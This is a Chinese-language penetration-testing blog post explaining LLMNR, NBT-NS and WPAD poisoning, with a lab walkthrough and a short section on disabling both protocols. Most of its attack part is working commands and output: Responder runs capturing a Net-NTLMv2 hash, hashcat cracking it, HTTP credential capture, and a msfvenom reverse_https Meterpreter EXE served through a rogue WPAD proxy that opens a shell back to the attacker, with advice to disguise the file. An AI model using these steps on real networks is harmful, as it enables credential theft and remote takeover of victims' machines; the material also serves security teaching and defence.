0x00 基本概念
LLMNR&NBT-NS欺骗攻击可以作为我们内网渗透中的一种手法,主要是利用LLMNR、NetBIOS和WPAD机制进行的中间人攻击获取到NTLMv2凭证或者HTTP认证明文和目标系统的权限,下面我们先来了解一下这几个功能的基本概念。
LLMNR
链路本地多播名称解析( LLMNR ) 是一种基于域名系统数据包格式的协议,它允许IPv4和IPv6主机为同一本地链路上的主机执行名称解析。
包头结构
- ID - 由生成任何类型查询的程序分配的 16 位标识符。
- QR - 查询/响应。
- OPCODE - 一个 4 位字段,指定此消息中的查询类型。此值由查询的发起者设置并复制到响应中。本规范定义了标准查询和响应的行为(操作码值为零)。未来的规范可能会定义其他操作码与 LLMNR 的使用。
- C - 冲突。
- TC - 截断。
- T - 暂定。
- Z - 保留供将来使用。
- RCODE - 响应代码。
- QDCOUNT - 一个无符号 16 位整数,指定问题部分中的条目数。
- ANCOUNT - 一个无符号的 16 位整数,指定答案部分中的资源记录数。
- NSCOUNT - 一个无符号的 16 位整数,指定权限记录部分中名称服务器资源记录的数量。
- ARCOUNT - 一个无符号 16 位整数,指定附加记录部分中的资源记录数。
NetBIOS
NetBIOS 是Network Basic Input/Output System的首字母缩写词。它提供与OSI 模型的会话层相关的服务,允许不同计算机上的应用程序通过局域网进行通信。作为严格的API,NetBIOS 不是网络协议。NetBIOS 也用于识别 TCP/IP(Windows) 中的系统名称。简单地说,它是一种允许在局域网中通过 OSI 模型的会话层进行文件和打印机通信的协议。
服务
NetBIOS 提供三种不同的服务:
- 用于名称注册和解析的名称服务 (NetBIOS-NS) 。
- 用于无连接通信的数据报分发服务 (NetBIOS-DGM)。
- 面向连接通信的会话服务 (NetBIOS-SSN) 。
SMB是上层,是运行在 Session Service 和 Datagram 服务之上的服务,不要混淆为 NetBIOS 本身的必要组成部分。现在它可以运行在 TCP 之上,只需要一个小为每个 SMB 消息添加数据包长度的适配层;这是必要的,因为 TCP 仅提供字节流服务,没有数据包边界的概念。
名称服务
为了启动会话或分发数据报,应用程序必须使用名称服务注册其 NetBIOS 名称。NetBIOS 名称的长度为 16 个八位字节,并且根据特定的实现而有所不同。通常,称为 NetBIOS 后缀的第 16 个八位字节指定资源的类型,并可用于告诉其他应用程序系统提供的服务类型。在NBT中,名称服务在 UDP 端口 137 上运行(也可以使用 TCP 端口 137,但很少使用)。
NetBIOS 提供的名称服务原语是:
- 添加名称——注册一个 NetBIOS 名称。
- 添加组名——注册一个 NetBIOS“组”名。
- 删除名称 - 取消注册 NetBIOS 名称或组名称。
- 查找名称 - 在网络上查找 NetBIOS 名称。
Microsoft 不支持Internet 协议版本 6 (IPv6)的 NetBIOS 名称解析。
节点类型
在 Windows 下,联网计算机的节点类型与其将 NetBIOS 名称解析为IP 地址的方式有关。这假定 NetBIOS 节点有任何 IP 地址,只有当 NetBIOS 在 NBT 上运行时才能保证;因此,节点类型不是 NetBIOS 本身的属性,而是 Windows OS 环境中 NetBIOS 和 TCP/IP 之间交互的属性。有四种节点类型。
- B节点:0x01广播
- P 节点:0x02 对等点(仅限 WINS)
- M节点:0x04混合(广播,然后WINS)
- H节点:0x08 Hybrid(WINS,然后广播)
WPAD
Web 代理自动发现 (WPAD) 协议是组织允许员工通过代理服务器访问互联网,以提高性能、确保安全和跟踪流量。连接到公司网络的用户需要知道特定 URL 的代理服务器,客户端使用 DHCP 和/或 DNS 发现方法来定位配置文件的 URL 的一种方法。 一旦配置文件的检测和下载完成,就可以执行它来确定指定 URL 的代理。在IE在网络设置打勾就表示启用了wpad,默认是不开启的,但是在 Windows 10 中WPAD 默认是启用的:
0x01 工作原理
我们要明白LLNBR(UDP/5355)和NetBIOS(UDP/137) 两者的区别,其实这两个都是用于名称解析的,NetBIOS是从Windows 2000开始启用的,LLNNR是作为windows Vista以上的系统开始启用的协议,还有就是NetBIOS是Windows进行通信的API,LLMNR是网络协议,但是两者主要功能是一样的。在系统进行名称解析会进行以下的步骤:
- 检查以确认请求是否针对本地计算机名称。
- 检查最近成功解析的名称的本地缓存。
- 搜索本地hosts文件当中解析。
- 查询 DNS 服务器。
- 如果启用了 LLMNR,则在本地子网中广播 LLMNR 查询以请求其对等方进行解析。
- 如果启用了 NetBIOS,如果名称不在本地 NetBIOS 缓存中,则尝试通过向本地子网广播 NetBIOS-NS 查询来解析 NetBIOS 名称。如果这样配置,此步骤可能会使用 Windows Internet 名称服务 (WINS) 服务器以及 LAN 管理器主机 (LMHOSTS) 文件。
也就是说当我们在使用名称查找主机的时候(使用win+R,输入\\errorhost),会执行上面的步骤,所以总的来说只有当我们输入计算机和DNS服务器不存在的主机名称的时候才会触发LLMNR和NetBIOS,笔者感觉这个漏洞还是有局限性的,所以在内网渗透中用的不是很多。
0x02 攻击工具
NBNSpoof - NetBIOS Name Service Spoofer
NBNSpoof 是一种用于自动制作对 NetBIOS 名称服务 (NBNS) 名称查询的响应的工具。当 Windows 机器无法通过 DNS 和 WINS 解析域名时,它们将发送广播 NBNS 查询以查看有问题的名称是否与本地网络上的任何计算机名称匹配。在受害者错误键入域名或 DNS 服务器无法访问的情况下,对这些请求做出响应对攻击者特别有用。
下载地址:
https://github.com/nomex/nbnspoof
使用方法:
nbnspoof.py [-v] -i <interface> -n <regexp> -h <ip address> -m <MAC> [-p <ip address>]
-v Verbose output of sniffed NBNS name queries, and responses sent
-i The interface you want to sniff and send on
-n A regular expression applied to each query to determine whether a
spoofed response will be sent
-h The IP address that will be sent in spoofed responses
-p (optional) The IP address of the victim (if unset, pwn all)
-m The source MAC address for spoofed responses
llmnr_response
这是一款在msf中使用的工具。利用方法如下:
msf > use auxiliary/spoof/llmnr/llmnr_response
msf auxiliary(llmnr_response) > show actions
...actions...
msf auxiliary(llmnr_response) > set ACTION < action-name >
msf auxiliary(llmnr_response) > show options
...show and set options...
msf auxiliary(llmnr_response) > run
Responder
Responder是一款很强大的中间人利用工具,也是本文中实践使用的工具,主要的功能有双 IPv6/IPv4 堆栈、内置 SMB 身份验证服务器、内置 MSSQL 身份验证服务器、内置 HTTP 身份验证服务器、内置 HTTPS 身份验证服务器、内置 LDAP 身份验证服务器、内置 DCE-RPC 身份验证服务器、内置 FTP、POP3、IMAP、SMTP Auth 服务器、内置DNS服务器、内置 WPAD 代理服务器、浏览器监听器、指纹识别、Icmp 重定向、DHCP欺骗、分析模式。
下载地址:
https://github.com/lgandx/Responder
使用方法:
--version show program's version number and exit
-h, --help show this help message and exit
-A, --analyze Analyze mode. This option allows you to see NBT-NS,
BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
Network interface to use, you can use 'ALL' as a
wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
Local IP to use (only for OSX)
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
Poison all requests with another IPv6 address than
Responder's one.
-e 10.0.0.22, --externalip=10.0.0.22
Poison all requests with another IP address than
Responder's one.
-b, --basic Return a Basic HTTP authentication. Default: NTLM
-d, --DHCP Enable answers for DHCP broadcast requests. This
option will inject a WPAD server in the DHCP response.
Default: False
-D, --DHCP-DNS This option will inject a DNS server in the DHCP
response, otherwise a WPAD server will be added.
Default: False
-w, --wpad Start the WPAD rogue proxy server. Default value is
False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
Upstream HTTP proxy used by the rogue WPAD Proxy for
outgoing requests (format: host:port)
-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file
retrieval. This may cause a login prompt. Default:
False
-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt)
authentication for the proxy. WPAD doesn't need to be
ON. This option is highly effective when combined with
-r. Default: False
--lm Force LM hashing downgrade for Windows XP/2003 and
earlier. Default: False
--disable-ess Force ESS downgrade. Default: False
-v, --verbose Increase verbosity.
Inveigh
IInveigh 通过数据包嗅探和协议特定的 isteners/sockets 进行欺骗攻击和哈希/凭证捕获。作为该工具原始 Powershell 版本的基础的数据包嗅探方法具有以下优点:
- 通过 Window 的 SMB 服务捕获 SMB NTLM 质询/响应
- 主机系统上更少的可见端口绑定
主要缺点是需要提升访问权限。
在当前版本的 Windows 上,默认运行的 UDP 服务允许端口重用。因此,数据包嗅探不再为绕过正在使用的 UDP 端口提供优势。Inveigh 的 UDP 侦听器都配置为利用端口重用。
下载地址:https://github.com/Kevin-Robertson/Inveigh.git
0x03 攻击实战
捕获Net-NTLMv2
主要的工作流程
如下图所示,受害者在网络中寻找filesrvr这个主机(因为少打了一个e),先去询问DNS服务器,如果不知道就会去内网中广播谁是filesrvr,攻击者就会设置一个监听,假装回应说他就是filesrvr,中间就会发出获取hash信号,当攻击者收到后机会返回错误的信息给受害者:
实战
实战我们是使用一台受害者Windows 7(172.16.0.105),一台攻击者Kali Linux (172.16.0.107),Responder工具是kali自带的,所以直接在kali执行responder即可。
在Kali上面执行以下命令,记得是以sudo方式执行,f是指获取指纹,v是详情:
┌──(kali㉿kali)-[/usr/share/responder]
└─$ sudo responder -I eth0 -fv
__
.----.-----.-----.-----.-----.-----.--| |.-----.----.
| _| -__|__ --| _ | _ | | _ || -__| _|
|__| |_____|_____| __|_____|__|__|_____||_____|__|
|__|
NBT-NS, LLMNR & MDNS Responder 3.0.7.0
Author: Laurent Gaffie ([email protected])
To kill this script hit CTRL-C
[+] Poisoners:
LLMNR [ON]
NBT-NS [ON]
DNS/MDNS [ON]
DHCP [OFF]
[+] Servers:
HTTP server [ON]
HTTPS server [ON]
WPAD proxy [OFF]
Auth proxy [OFF]
SMB server [ON]
Kerberos server [ON]
SQL server [ON]
FTP server [ON]
IMAP server [ON]
POP3 server [ON]
SMTP server [ON]
DNS server [ON]
LDAP server [ON]
RDP server [ON]
DCE-RPC server [ON]
WinRM server [ON]
[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE [OFF]
Serving HTML [OFF]
Upstream Proxy [OFF]
[+] Poisoning Options:
Analyze Mode [OFF]
Force WPAD auth [OFF]
Force Basic Auth [OFF]
Force LM downgrade [OFF]
Force ESS downgrade [OFF]
Fingerprint hosts [ON]
[+] Generic Options:
Responder NIC [eth0]
Responder IP [172.16.0.107]
Challenge set [random]
Don't Respond To Names ['ISATAP']
[+] Current Session Variables:
Responder Machine Name [WIN-OVB356BIVFL]
Responder Domain Name [OATW.LOCAL]
Responder DCE-RPC Port [45303]
[+] Listening for events...
然后我们在Windows 7中使用Win+r打开运行窗口,随便输入一个错误的主机名称:
我们再回来已经能看到获取到了Net-NTLMv2:
关于Net-NTLMv2和LM的区别可以看文章LM, NTLM, Net-NTLMv2
我们可以使用kali自带的John活着hashcat工具进行破解,我们把下面一段保存为hash.txt:
sc92n::WIN-JH8N3KV3OQ0:75ca7c174829730d:7C8437661030E0EB8D762DCFC77CBE65:0101000000000000000C19E89C21D801B8B5060ABB05AFE600000000020008004400350033004A0001001E00570049004E002D004E004B0048004A00480050005600460045005000490004003400570049004E002D004E004B0048004A0048005000560046004500500049002E004400350033004A002E004C004F00430041004C00030014004400350033004A002E004C004F00430041004C00050014004400350033004A002E004C004F00430041004C0007000800000C19E89C21D80106000400020000000800300030000000000000000100000000200000C1802F43EEA3DDC3521CCF236AAF808F1A6C31366979710880AC8CED8547228D0A001000000000000000000000000000000000000900140063006900660073002F0078007800780061006100000000000000000000000000
之后我们使用hashcat进行破解:
┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 hash.txt passwd.txt
hashcat (v6.1.1) starting...
SC92N::WIN-JH8N3KV3OQ0:75ca7c174829730d:7c8437661030e0eb8d762dcfc77cbe65:0101000000000000000c19e89c21d801b8b5060abb05afe600000000020008004400350033004a0001001e00570049004e002d004e004b0048004a00480050005600460045005000490004003400570049004e002d004e004b0048004a0048005000560046004500500049002e004400350033004a002e004c004f00430041004c00030014004400350033004a002e004c004f00430041004c00050014004400350033004a002e004c004f00430041004c0007000800000c19e89c21d80106000400020000000800300030000000000000000100000000200000c1802f43eea3ddc3521ccf236aaf808f1a6c31366979710880ac8ced8547228d0a001000000000000000000000000000000000000900140063006900660073002f0078007800780061006100000000000000000000000000:p@ssw0rd
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: SC92N::WIN-JH8N3KV3OQ0:75ca7c174829730d:7c843766103...000000
Time.Started.....: Mon Feb 14 12:25:27 2022 (0 secs)
Time.Estimated...: Mon Feb 14 12:25:27 2022 (0 secs)
Guess.Base.......: File (passwd.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 1922 H/s (0.01ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests
Progress.........: 1/1 (100.00%)
Rejected.........: 0/1 (0.00%)
Restore.Point....: 0/1 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: p@ssw0rd -> p@ssw0rd
Started: Mon Feb 14 12:25:26 2022
Stopped: Mon Feb 14 12:25:29 2022
虽然这个方式很隐蔽,但是如果遇到密码比较强的就很难受。
捕获HTTP明文
我们可以使用responder工具是去获取HTTP的Authorization信息,主要的方法就是开启HTTP认证的功能-b即可:
┌──(kali㉿kali)-[~]
└─$ sudo responder -I eth0 -fvb
我们去输入未验证过的网址就会弹出验证窗口,让我们输入凭证:
输入后就可以在kali中看到我们输入的明文信息:
我们查看流量中是获取到了http认证的信息,解密base64即可:
这个功能还是不错的,就是动作比较明显。
如果未能获取到明文凭证可以尝试重启下受害者的机器
利用WPAD攻击获取系统权限
用户在访问网页时,首先会查询PAC文件的位置,具体方式如下:
1、通过DHCP服务器
如图
web浏览器向DHCP服务器发送DHCP INFORM查询PAC文件位置
DHCP服务器返回DHCP ACK数据包,包含PAC文件位置
2、通过DNS查询
web浏览器向DNS服务器发起 WPAD+X 的查询
DNS服务器返回提供WPAD主机的IP地址
web浏览器通过该IP的80端口下载wpad.dat
3、通过NBNS查询
Tips:
Windows 2K , XP , 2K3 只支持 DNS 和 NetBIOS
Windows Vista 之后(包括 2K8 , Win7,Win8.x,Win 10)支持DNS、NBNS、LLMNR
如果DHCP和DNS服务器均没有响应,同时当前缓存没有所请求的主机名,就会发起如下名称解析:
如果当前系统支持LLMNR(Link-Local Multicast Name Resolution),先发起广播LLMNR查询,如果没有响应再发起广播NBNS查询
如果有主机回应PAC文件位置
web浏览器通过该IP的80端口下载wpad.dat
这里的内容来自于 基于WPAD的中间人攻击
WPAD功能在上面做了介绍,主要是攻击原理如下图,
我们先去msf生成一个exe文件:
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.0.107 LPORT=4444 -f exe -o /usr/share/responder/files/filetoserve.exe
然后去编辑responder的配置文件,文件位置在/usr/share/responder/Responder.conf
,修改下面的配置为On:
[HTTP Server]
; Set to On to always serve the custom EXE
Serve-Always = On
; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On
; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the 'HTMLToInject' in web pages instead
Serve-Html = On
在kali执行:
sudo responder -I eth0 -wrfv
在msf中执行监听:
msf6 exploit(multi/handler) > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > show options
Module options (exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/x64/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 172.16.0.107 yes The local listener hostname
LPORT 53 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run
在受害机的网页中输入地址会弹出下载文件(可以修改一些比较诱惑性的,比如flash.exe等):
看到记录已经在发送文件的数据了:
当受害者执行exe后会反弹回msf的shell:
msf6 exploit(multi/handler) > run
[*] Started HTTPS reverse handler on https://172.16.0.107:4444
[!] https://172.16.0.107:4444 handling request from 172.16.0.105; (UUID: fvlb5805) Without a database connected that payload UUID tracking will not work!
[*] https://172.16.0.107:4444 handling request from 172.16.0.105; (UUID: fvlb5805) Staging x64 payload (201308 bytes) ...
[!] https://172.16.0.107:4444 handling request from 172.16.0.105; (UUID: fvlb5805) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 52 opened (172.16.0.107:4444 -> 127.0.0.1 ) at 2022-02-14 10:42:49 +0800
meterpreter > sysinfo
Computer : WIN-JH8N3KV3OQ0
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_US
Domain : HACK
Logged On Users : 3
Meterpreter : x64/windows
meterpreter >
0x04 防御
主要还是关掉LLMNR和NBT-NS,如果只关闭其中一个也会被攻击成功,所以都要关掉才行,
关闭LLMNR
-
win+R输入gpedit.msc
-
找到路径Local Computer Policy -> Computer Configuration -> Administrative Templates -> Network -> DNS Client
-
找到Turn Off Multicast Name Resolution,点击enable即可
关闭NetBIOS
- 打开网络共享中心
- 点击更改适配器设置
- 选择指定的网卡,右键属性
- 选择Internet 协议版本 4 (TCP/IPv4)
- 点击高级
- 选择WINS选项,点击禁用TCP/IP上的NetBIOS
修复结果
关闭两者后再尝试回出现错误:
0x05 参考
https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning/
https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/
https://apt404.github.io/2016/07/24/llmnr-wpad/
https://github.com/lgandx/Responder
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/llmnr_nbt-ns.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。